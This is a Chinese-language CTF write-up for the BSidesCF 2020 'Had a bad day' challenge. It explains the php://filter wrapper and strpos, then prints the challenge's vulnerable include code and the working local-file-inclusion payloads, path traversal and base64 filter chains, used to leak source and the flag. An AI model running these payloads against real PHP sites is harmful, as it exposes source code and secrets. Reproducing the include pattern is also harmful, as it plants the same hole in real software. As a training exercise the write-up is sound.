[BSidesCF 2020]Had a bad day
[BSidesCF 2020]Had a bad day
知识点:
php://filter伪协议读取文件:
php://filter是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。
名称 | 描述 |
---|---|
resource=<要过滤的数据流> |
这个参数是必须的。它指定了你要筛选过滤的数据流。 |
read=<读链的筛选列表> |
该参数可选。可以设定一个或多个过滤器名称,以管道符(` |
write=<写链的筛选列表> |
该参数可选。可以设定一个或多个过滤器名称,以管道符(` |
<;两个链的筛选列表> |
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
官方文档:https://www.php.net/manual/zh/wrappers.php.php
例如最常见的:
php://filter/read=convert.base64-encode/resource=index.php
就是利用这个filter协议读取文件,将index.php通过base64编码后进行输出。这样做就是可以通过编码直接读取文件源码,如果不进行编码,文件包含后就不会有结果。
php代码审计:strpos函数
strpos函数:
<?php
echo strpos("You love php, I love php too!","php");
//返回结果是第一次出现php的位置:9
?>
如果函数前面的字符串里不包含后面的字符串,就不会返回数据
解题过程:
index.php?category=php://filter/convert.base64-encode/resource=index.php
直接去读取index.php文件,发现会出现问题
无法打开流,查看别人的wp之后发现,是要把后面的后缀php去掉
index.php?category=php://filter/convert.base64-encode/resource=index
就会出现base64编码了,之间把页面上的拿去解密会发现是有问题的,要打开F12把base64的编码全部解密
里面会有一段php代码
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index"))
{
include ($file . '.php');
}
else
{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
strpos函数上面已经说了,会返回第一次出现后面字符串的位置,这里的意思就是要有woofers,meowers,index其中一个字符才会包含这个文件
尝试一下
index.php?category=meowers/../flag
发现页面上并没有flag信息,因为虽然直接包含了flag.php,但是直接包含flag.php并不会读取文件里面的内容
并且源代码里也有这样的提示
所以我们再用那个php://filter协议去进行编码
index.php?category=php://filter/convert.base64-encode/index/resource=flag
因为要绕过那个if语句,所以中间加了那个index,加的是meowers,woofers也可以
然后中间就会出现base64的编码
解密即可得到flag
flag{ca4ee8f0-6f2b-4c32-a415-48bb80bacbbb}